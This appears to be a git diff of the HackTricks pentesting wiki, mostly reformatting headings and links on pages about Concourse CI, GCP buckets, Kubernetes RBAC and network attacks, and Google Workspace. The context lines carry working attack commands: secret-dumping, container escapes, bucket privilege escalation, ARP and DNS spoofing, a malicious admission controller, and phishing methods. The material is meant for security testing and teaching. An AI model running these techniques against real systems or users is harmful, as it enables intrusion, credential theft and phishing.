omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\ Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`. -## Static Vars +### Static Vars Static vars can be specified in **tasks steps**: @@ -57,7 +56,7 @@ Or using the following `fly` **arguments**: * `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars. * `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all. -## Credential Management +### Credential Management There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ Moreover, Concourse supports different credential managers: @@ -76,11 +75,11 @@ Moreover, Concourse supports different credential managers: Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them. {% endhint %} -# Concourse Enumeration +## Concourse Enumeration In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file. -## Login and Current User enum +### Login and Current User enum * To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**: * `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` @@ -91,7 +90,7 @@ In order to enumerate a concourse environment you first need to **gather valid c * Get **role** of the user against the indicated target: * `fly -t userinfo` -## Teams & Users +### Teams & Users * Get a list of the Teams * `fly -t teams` @@ -100,7 +99,7 @@ In order to enumerate a concourse environment you first need to **gather valid c * Get a list of users * `fly -t active-users` -## Pipelines +### Pipelines * **List** pipelines: * `fly -t pipelines -a` @@ -123,7 +122,7 @@ cat /tmp/secrets.txt | sort | uniq rm /tmp/secrets.txt ``` -## Containers & Workers +### Containers & Workers * List **workers**: * `fly -t workers` @@ -132,18 +131,18 @@ rm /tmp/secrets.txt * List **builds** (to see what is running): * `fly -t builds` -# Concourse Attacks +## Concourse Attacks -## Credentials Brute-Force +### Credentials Brute-Force * admin:admin * test:test -## Secrets and params enumeration +### Secrets and params enumeration In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them. -## Session inside running or recently run container +### Session inside running or recently run container If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `/` **container** using: @@ -158,7 +157,7 @@ With these permissions you might be able to: * Try to **escape** to the node * Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible) -## Pipeline Creation/Modification +### Pipeline Creation/Modification If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example: @@ -193,7 +192,7 @@ With the **modification/creation** of a new pipeline you will be able to: * Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node) * **Delete** created pipeline -## Execute Custom Task +### Execute Custom Task This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**): @@ -219,7 +218,7 @@ params: fly -t tutorial execute --privileged --config task_config.yml ``` -## Escaping to the node from privileged task +### Escaping to the node from privileged task In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex". @@ -284,10 +283,10 @@ cat /output ``` {% hint style="warning" %} -As you might have noticed this is just a [**regular release\_agent escape**](../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged) just modifying the path of the cmd in the node +As you might have noticed this is just a [**regular release\_agent escape**](../../linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/#privileged) just modifying the path of the cmd in the node {% endhint %} -## Escaping to the node from a Worker container +### Escaping to the node from a Worker container A regular release\_agent escape with a minor modification is enough for this: @@ -318,7 +317,7 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" cat /output ``` -## Escaping to the node from the Web container +### Escaping to the node from the Web container Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless). @@ -358,7 +357,7 @@ select * from teams; #Change the permissions of the users in the teams select * from users; ``` -## Abusing Garden Service - Not a real Attack +### Abusing Garden Service - Not a real Attack {% hint style="warning" %} This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before @@ -390,7 +389,7 @@ In the previous section we saw how to escape from a privileged container, so if Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it. -### Getting inside a running privileged container +#### Getting inside a running privileged container ```bash # Get current container @@ -411,7 +410,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"], nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` -### Creating a new privileged container +#### Creating a new privileged container You can very easily create a new container (just run a random UID) and execute something on it: @@ -450,7 +449,6 @@ User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. ``` -
Support HackTricks and get benefits! @@ -466,5 +464,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md b/cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md index d6114317..1ac4abc1 100644 --- a/cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md +++ b/cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md @@ -1,5 +1,7 @@ # GCP - Buckets: Public Assets Brute-Force & Discovery, & Buckets Privilege Escalation +## GCP - Buckets: Public Assets Brute-Force & Discovery, & Buckets Privilege Escalation +
Support HackTricks and get benefits! @@ -16,35 +18,34 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Public Assets Discovery +## Public Assets Discovery One way to discover public cloud resources that belongs to a company is to scrape their webs looking for them. Tools like [**CloudScraper**](https://github.com/jordanpotti/CloudScraper) will scrape the web an search for **links to public cloud resources** (in this case this tools searches `['amazonaws.com', 'digitaloceanspaces.com', 'windows.net', 'storage.googleapis.com', 'aliyuncs.com']`) Note that other cloud resources could be searched for and that some times these resources are hidden behind **subdomains that are pointing them via CNAME registry**. -# Public Resources Brute-Force +## Public Resources Brute-Force -## Buckets, Firebase, Apps & Cloud Functions +### Buckets, Firebase, Apps & Cloud Functions * [https://github.com/initstring/cloud\_enum](https://github.com/initstring/cloud\_enum): This tool in GCP brute-force Buckets, Firebase Realtime Databases, Google App Engine sites, and Cloud Functions * [https://github.com/0xsha/CloudBrute](https://github.com/0xsha/CloudBrute): This tool in GCP brute-force Buckets and Apps. -## Buckets +### Buckets As other clouds, GCP also offers Buckets to its users. These buckets might be (to list the content, read, write...). -![](<../../.gitbook/assets/image (628) (1) (1) (1).png>) +![](<../../.gitbook/assets/image (618).png>) The following tools can be used to generate variations of the name given and search for miss-configured buckets with that names: * [https://github.com/RhinoSecurityLabs/GCPBucketBrute](https://github.com/RhinoSecurityLabs/GCPBucketBrute) -# Privilege Escalation +## Privilege Escalation If the bucket policy allowed either “allUsers” or “allAuthenticatedUsers” to **write to their bucket policy** (the **storage.buckets.setIamPolicy** permission)**,** then anyone can modify the bucket policy and grant himself full access. -## Check Permissions +### Check Permissions There are 2 ways to check the permissions over a bucket. The first one is to ask for them by making a request to `https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam` or running `gsutil iam get gs://BUCKET_NAME`. @@ -52,7 +53,7 @@ However, if your user (potentially belonging to allUsers or allAuthenticatedUser The other option which will always work is to use the testPermissions endpoint of the bucket to figure out if you have the specified permission, for example accessing: `https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam/testPermissions?permissions=storage.buckets.delete&permissions=storage.buckets.get&permissions=storage.buckets.getIamPolicy&permissions=storage.buckets.setIamPolicy&permissions=storage.buckets.update&permissions=storage.objects.create&permissions=storage.objects.delete&permissions=storage.objects.get&permissions=storage.objects.list&permissions=storage.objects.update` -## Escalating +### Escalating With the “gsutil” Google Storage CLI program, we can run the following command to grant “allAuthenticatedUsers” access to the “Storage Admin” role, thus **escalating the privileges we were granted** to the bucket: @@ -62,7 +63,7 @@ gsutil iam ch group:allAuthenticatedUsers:admin gs://BUCKET_NAME One of the main attractions to escalating from a LegacyBucketOwner to Storage Admin is the ability to use the “storage.buckets.delete” privilege. In theory, you could **delete the bucket after escalating your privileges, then you could create the bucket in your own account to steal the name**. -# References +## References * [https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/](https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/) diff --git a/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/README.md b/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/README.md index 95dbc1a3..87fae6c0 100644 --- a/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/README.md @@ -1,4 +1,4 @@ - +# Abusing Roles/ClusterRoles in Kubernetes
@@ -16,11 +16,10 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- Here you can find some potentially dangerous Roles and ClusterRoles configurations.\ Remember that you can get all the supported resources with `kubectl api-resources` -# **Privilege Escalation** +## **Privilege Escalation** Referring as the art of getting **access to a different principal** within the cluster **with different privileges** (within the kubernetes cluster or to external clouds) than the ones you already have, in Kubernetes there are basically **4 main techniques to escalate privileges**: @@ -30,7 +29,7 @@ Referring as the art of getting **access to a different principal** within the c * Be able to **escape to the node** from a container, where you can steal all the secrets of the containers running in the node, the credentials of the node, and the permissions of the node within the cloud it's running in (if any) * A fifth technique that deserves a mention is the ability to **run port-forward** in a pod, as you may be able to access interesting resources within that pod. -## **Access Any Resource or Verb** +### **Access Any Resource or Verb** This privilege provides access to **any resource with any verb**. It is the most substantial privilege that a user can get, especially if this privilege is also a “ClusterRole.” If it’s a “ClusterRole,” than the user can access the resources of any namespace and own the cluster with that permission. @@ -46,7 +45,7 @@ rules: verbs: ["*"] ``` -## **Access Any Resource** +### **Access Any Resource** Giving a user permission to **access any resource can be very risky**. But, **which verbs** allow access to these resources? Here are some dangerous RBAC permissions that can damage the whole cluster: @@ -66,7 +65,7 @@ rules: verbs: ["create", "list", "get"] ``` -## Pod Create - Steal Token +### Pod Create - Steal Token An attacker with permission to create a pod in the “kube-system” namespace can create cryptomining containers for example. Moreover, if there is a **service account with privileged permissions, by running a pod with that service the permissions can be abused to escalate privileges**. @@ -103,7 +102,7 @@ So just create the malicious pod and expect the secrets in port 6666: ![](<../../../.gitbook/assets/image (464).png>) -## **Pod Create & Escape** +### **Pod Create & Escape** The following definition gives all the privileges a container can have: @@ -168,20 +167,20 @@ Now that you can escape to the node check post-exploitation techniques in: [attacking-kubernetes-from-inside-a-pod.md](../../../pentesting/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md) {% endcontent-ref %} -### Stealth +#### Stealth You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template: -* [**Privileged + hostPID**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged-+-hostpid) -* [**Privileged only**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged) -* [**hostPath**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#arbitrary-mounts) -* [**hostPID**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostpid) -* [**hostNetwork**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostnetwork) -* [**hostIPC**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostipc) +* [**Privileged + hostPID**](../../../linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/#privileged-+-hostpid) +* [**Privileged only**](../../../linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/#privileged) +* [**hostPath**](../../../linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/#arbitrary-mounts) +* [**hostPID**](../../../linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/#hostpid) +* [**hostNetwork**](../../../linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/#hostnetwork) +* [**hostIPC**](../../../linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/#hostipc) _You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)\_\_ -## Pod Create - Move to cloud +### Pod Create - Move to cloud If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\ Moreover, if you can create a **pod with the host network namespace** you can **steal the IAM** role of the **node** instance. @@ -192,7 +191,7 @@ For more information check: [kubernetes-access-to-other-clouds.md](../kubernetes-access-to-other-clouds.md) {% endcontent-ref %} -## **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** +### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs are all privileges that allow the creation of different tasks in the cluster. Moreover, it's possible can use all of them to **develop pods and even create pods**. So it's possible to a**buse them to escalate privileges just like in the previous example.** @@ -231,7 +230,7 @@ Kubernetes API documentation indicates that the “**PodTemplateSpec**” endpoi **So, the privilege to create or update tasks can also be abused for privilege escalation in the cluster.** -## **Pods Exec** +### **Pods Exec** **Pod exec** is an option in kubernetes used for **running commands in a shell inside a pod**. This privilege is meant for administrators who want to **access containers and run commands**. It’s just like creating a SSH session for the container. @@ -243,7 +242,7 @@ kubectl exec -it -n -- sh Note that as you can get inside any pod, you can abuse other pods token just like in [**Pod Creation exploitation**](./#pod-creation) to try to escalate privileges. -## port-forward +### port-forward This permission allows to **forward one local port to one port in the specified pod**. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod: @@ -251,7 +250,7 @@ This permission allows to **forward one local port to one port in the specified kubectl port-forward pod/mypod 5000:5000 ``` -## **Hosts Writable /var/log/ Escape** +### **Hosts Writable /var/log/ Escape** As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)\*\*,\*\*If you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\ This is basically because the when the **Kube-API tries to get the logs** of a container (using `kubectl logs `), it **requests the `0.log`** file of the pod using the `/logs/` endpoint of the **Kubelet** service.\ @@ -285,7 +284,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// **A laboratory and automated exploit can be found in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) -### Bypassing readOnly protection +#### Bypassing readOnly protection If you are lucky enough and the highly privileged capability capability `CAP_SYS_ADMIN` is available, you can just remount the folder as rw: @@ -293,7 +292,7 @@ If you are lucky enough and the highly privileged capability capability `CAP_SYS mount -o rw,remount /hostlogs/ ``` -### Bypassing hostPath readOnly protection +#### Bypassing hostPath readOnly protection As stated in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) it’s possible to bypass the protection: @@ -351,7 +350,7 @@ spec: name: task-pv-storage-vol ``` -## **Impersonating privileged accounts** +### **Impersonating privileged accounts** With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, an attacker could impersonate a privileged account. @@ -375,7 +374,7 @@ curl -k -v -XGET -H "Authorization: Bearer " \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -## **Listing Secrets** +### **Listing Secrets** The **listing secrets privilege** is a strong capability to have in the cluster. A user with the permission to list secrets can **potentially view all the secrets in the cluster – including the admin keys**. The secret key is a JWT token encoded in base64. @@ -389,7 +388,7 @@ curl -v -H "Authorization: Bearer " https://:/api/v1 ![](https://www.cyberark.com/wp-content/uploads/2019/08/Kube-Pentest-Fig-2.png) -## **Reading a secret – brute-forcing token IDs** +### **Reading a secret – brute-forcing token IDs** An attacker that found a token with permission to read a secret can’t use this permission without knowing the full secret’s name. This permission is different from the _**listing** **secrets**_ permission described above. @@ -417,7 +416,7 @@ This means that there are 275 = 14,348,907 possibilities for a token. An attacker can run a brute-force attack to guess the token ID in couple of hours. Succeeding to get secrets from default sensitive service accounts will allow him to escalate privileges. -# Built-in Privileged Escalation Prevention +## Built-in Privileged Escalation Prevention Although there can be risky permissions, Kubernetes is doing good work preventing other types of permissions with potential for privileged escalation. @@ -443,7 +442,7 @@ After trying to do so, we will receive an error “forbidden: attempt to grant e ![](https://www.cyberark.com/wp-content/uploads/2018/12/forbidden\_attempt\_to\_gran\_extra\_privileges\_message-1024x288.png) -## **Get & Patch RoleBindings/ClusterRoleBindings** +### **Get & Patch RoleBindings/ClusterRoleBindings** {% hint style="danger" %} **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.** @@ -499,13 +498,13 @@ curl -k -v -X POST -H "Authorization: Bearer "\ https://:/api/v1/namespaces/kube-system/secret ``` -# Other Attacks +## Other Attacks -## S**idecar proxy app** +### S**idecar proxy app** By default there isn't any encryption in the communication between pods .Mutual authentication, two-way, pod to pod. -### Create a sidecar proxy app +#### Create a sidecar proxy app Create your .yaml @@ -550,7 +549,7 @@ kubectl logs app -C proxy More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -## Malicious Admission Controller +### Malicious Admission Controller An admission controller is a piece of code that **intercepts requests to the Kubernetes API server** before the persistence of the object, but **after the request is authenticated** **and authorized**. @@ -594,7 +593,7 @@ kubectl describe po nginx | grep "Image: " As you can see in the above image, we tried running image `nginx` but the final executed image is `rewanthtammana/malicious-image`. What just happened!!? -### Technicalities +#### Technicalities We will unfold what just happened. The `./deploy.sh` script that you executed, created a mutating webhook admission controller. The below lines in the mutating webhook admission controller are responsible for the above results. @@ -608,9 +607,9 @@ patches = append(patches, patchOperation{ The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`. -# Best Practices +## Best Practices -## **Prevent service account token automounting on pods** +### **Prevent service account token automounting on pods** When a pod is being created, it automatically mounts a service account (the default is default service account in the same namespace). Not every pod needs the ability to utilize the API from within itself. @@ -624,15 +623,15 @@ It is also possible to use it on the pod:\\ ![](https://www.cyberark.com/wp-content/uploads/2018/12/pod\_with\_autoamountServiceAccountToken\_false.png) -## **Grant specific users to RoleBindings\ClusterRoleBindings** +### **Grant specific users to RoleBindings\ClusterRoleBindings** When creating RoleBindings\ClusterRoleBindings, make sure that only the users that need the role in the binding are inside. It is easy to forget users that are not relevant anymore inside such groups. -## **Use Roles and RoleBindings instead of ClusterRoles and ClusterRoleBindings** +### **Use Roles and RoleBindings instead of ClusterRoles and ClusterRoleBindings** When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster. A user in such a group has its permissions over all the namespaces, which is sometimes unnecessary. Roles and RoleBindings can be applied on a specific namespace and provide another layer of security. -## **Use automated tools** +### **Use automated tools** {% embed url="https://github.com/cyberark/KubiScan" %} @@ -640,7 +639,7 @@ When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster {% embed url="https://github.com/aquasecurity/kube-bench" %} -# **References** +## **References** {% embed url="https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions" %} @@ -648,7 +647,6 @@ When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster *** -
Support HackTricks and get benefits! @@ -664,5 +662,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/cloud-security/pentesting-kubernetes/kubernetes-network-attacks.md b/cloud-security/pentesting-kubernetes/kubernetes-network-attacks.md index 20168411..cb0192a3 100644 --- a/cloud-security/pentesting-kubernetes/kubernetes-network-attacks.md +++ b/cloud-security/pentesting-kubernetes/kubernetes-network-attacks.md @@ -1,4 +1,4 @@ - +# Kubernetes Network Attacks
@@ -16,10 +16,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Introduction -# Introduction - -Kubernetes by default **connects** all the **containers running in the same node** (even if they belong to different namespaces) down to **Layer 2** (ethernet). This allows a malicious containers to perform an [**ARP spoofing attack**](../../pentesting/pentesting-network/#arp-spoofing) to the containers on the same node and capture their traffic. +Kubernetes by default **connects** all the **containers running in the same node** (even if they belong to different namespaces) down to **Layer 2** (ethernet). This allows a malicious containers to perform an [**ARP spoofing attack**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) to the containers on the same node and capture their traffic. In the scenario 4 machines are going to be created: @@ -111,11 +110,11 @@ kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt instal kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` -# Basic Kubernetes Networking +## Basic Kubernetes Networking If you want more details about the networking topics introduced here, go to the references. -## ARP +### ARP Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called “**cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP. @@ -127,7 +126,7 @@ This fact implies that, by default, **every pod running in the same node** is go Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.** {% endhint %} -## DNS +### DNS In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace: @@ -177,11 +176,11 @@ Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is g Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses. {% endhint %} -# ARP Spoofing in pods in the same Node +## ARP Spoofing in pods in the same Node Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**. -## Scapy +### Scapy ```bash python3 /tmp/arp_spoof.py @@ -253,20 +252,20 @@ if __name__=="__main__": ``` {% endcode %} -## ARPSpoof +### ARPSpoof ```bash apt install dsniff arpspoof -t 172.17.0.9 172.17.0.10 ``` -# DNS Spoofing +## DNS Spoofing As it was already mentioned, if you **compromise a pod in the same node of the DNS server pod**, you can **MitM** with **ARPSpoofing** the **bridge and the DNS** pod and **modify all the DNS responses**. You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) -In our scenario, **download** the **tool** in the attacker pod and create a **file named `hosts` ** with the **domains** you want to **spoof** like: +In our scenario, **download** the **tool** in the attacker pod and create a \*\*file named `hosts` \*\* with the **domains** you want to **spoof** like: ``` cat hosts @@ -297,12 +296,11 @@ If you try to create your own DNS spoofing script, if you **just modify the the You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction). {% endhint %} -# References +## References * [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1) * [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters) -
Support HackTricks and get benefits! @@ -318,5 +316,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/cloud-security/workspace-security.md b/cloud-security/workspace-security.md index dc5128a8..d39af1f5 100644 --- a/cloud-security/workspace-security.md +++ b/cloud-security/workspace-security.md @@ -1,4 +1,4 @@ - +# Workspace Security
@@ -16,30 +16,29 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Workspace Phishing -# Workspace Phishing +### Generic Phishing Methodology -## Generic Phishing Methodology - -{% content-ref url="../phishing-methodology/" %} -[phishing-methodology](../phishing-methodology/) +{% content-ref url="../generic-methodologies-and-resources/phishing-methodology/" %} +[phishing-methodology](../generic-methodologies-and-resources/phishing-methodology/) {% endcontent-ref %} -## Google Groups Phishing +### Google Groups Phishing Apparently by default in workspace members [**can create groups**](https://groups.google.com/all-groups) **and invite people to them**. You can then modify the email that will be sent to the user **adding some links.** The **email will come from a google address**, so it will looks **legit** and people might click on the link. -## Hangout Phishing +### Hangout Phishing You might be able either to directly talk with a person just having his email address or sending an invitation to talk. Either way, modify an email account maybe naming it "Google Security" and adding some Google logos, and the people will think they are talking to google: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s) Just the **same technique** can be used with **Google Chat**. -## Google Doc Phishing +### Google Doc Phishing You can create an **apparently legitimate document** and the in a comment **mention some email (like +user@gmail.com)**. Google will **send an email to that email address** notifying that he was mentioned in the document. You can **put a link in that document** to try to make the persona access it. -## Google Calendar Phishing +### Google Calendar Phishing You can **create a calendar event** and add as many email address of the company you are attacking as you have. Schedule this calendar event in **5 or 15 min** from the current time. Make the event looks legit and **put a comment indicating that they need to read something** (with the **phishing link**).\ To make it looks less suspicious: @@ -48,17 +47,17 @@ To make it looks less suspicious: * Do **NOT send emails notifying about the event**. Then, the people will only see their warning about a meeting in 5mins and that they need to read that link. * Apparently using the API you can set to **True** that **people** has **accepted** the event and even create **comments on their behalf**. -## OAuth Phishing +### OAuth Phishing Any of the previous techniques might be used to make the user access a **Google OAuth application** that will **request** the user some **access**. If the user **trust** the **source** he might **trust** the **application** (even if it's asking for high privileged permissions). Note that Google presents an ugly prompt asking warning that the application is untrusted in several cases and from Workspace admins can even prevent people to accept OAuth applications. More on this in the OAuth section. -# Password Spraying +## Password Spraying In order to test passwords with all the emails you found (or you have generated based in a email name pattern you might have discover) you can use a tool like [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) who will use AWS lambdas to change IP address. -# Oauth Apps +## Oauth Apps **Google** allows to create applications that can **interact on behalf users** with several **Google services**: Gmail, Drive, GCP... @@ -67,7 +66,7 @@ When a **user** wants to **use** that **application**, he will be **prompted** t This is a very juicy way to **phish** non-technical users into using **applications that access sensitive information** because they might not understand the consequences. Therefore, in organizations accounts, there are ways to prevent this from happening. -## Unverified App prompt +### Unverified App prompt As it was mentioned, google will always present a **prompt to the user to accept** the permissions he is giving the application on his behalf. However, if the application is considered **dangerous**, google will show **first** a **prompt** indicating that it's **dangerous** and **making more difficult** to the user to grant the permissions to the app. @@ -76,14 +75,14 @@ This prompt appears in apps that: * Uses any scope that can access to private data (Gmail, Drive, GCP, BigQuery...) * Apps with less than 100 users (apps > 100 a review process is needed also to not show the unverified prompt) -## Interesting Scopes +### Interesting Scopes You can [**find here**](https://developers.google.com/identity/protocols/oauth2/scopes) a list of all the Google OAuth scopes. * **cloud-platform**: View and manage your data across **Google Cloud Platform** services. You can impersonate the user in GCP. * **directory.readonly**: See and download your organization's GSuite directory. Get names, phones, calendar URLs of all the users. -# App Scripts +## App Scripts Developers can create App Scripts and set them as a standalone project or bound them to Google Docs/Sheets/Slides/Forms. App Scripts is code that will be triggered when a user with editor permission access the doc (and after accepting the OAuth prompt) @@ -92,7 +91,7 @@ However, even if the app isn't verified there are a couple of ways to not show t * If the publisher of the app is in the same Workspace as the user accessing it * If the script is in a drive of the user -## Copy Document Unverified Prompt Bypass +### Copy Document Unverified Prompt Bypass When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\ If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document.** @@ -109,7 +108,7 @@ But can be prevented with: ![](<../.gitbook/assets/image (632).png>) -## Shared Document Unverified Prompt Bypass +### Shared Document Unverified Prompt Bypass Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**. @@ -124,45 +123,45 @@ This also means that if an **App Script already existed** and people has **grant To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `` tags. {% endhint %} -# Post-Exploitation +## Post-Exploitation -## Google Groups Privesc +### Google Groups Privesc By default in workspace a **group** can be **freely accessed** by any member of the organization.\ Workspace also allow to **grant permission to groups** (even GCP permissions), so if groups can be joined and they have extra permissions, an attacker may **abuse that path to escalate privileges**. You potentially need access to the console to join groups that allow to be joined by anyone in the org. Check groups information in [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups). -## Privesc to GCP Summary +### Privesc to GCP Summary * Abusing the **google groups privesc** you might be able to escalate to a group with some kind of privileged access to GCP * Abusing **OAuth applications** you might be able to impersonate users and access to GCP on their behalf -## Access Groups Mail info +### Access Groups Mail info If you managed to **compromise a google user session**, from [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) you can see the history of mails sent to the mail groups the user is member of, and you might find **credentials** or other **sensitive data**. -## Takeout - Download Everything 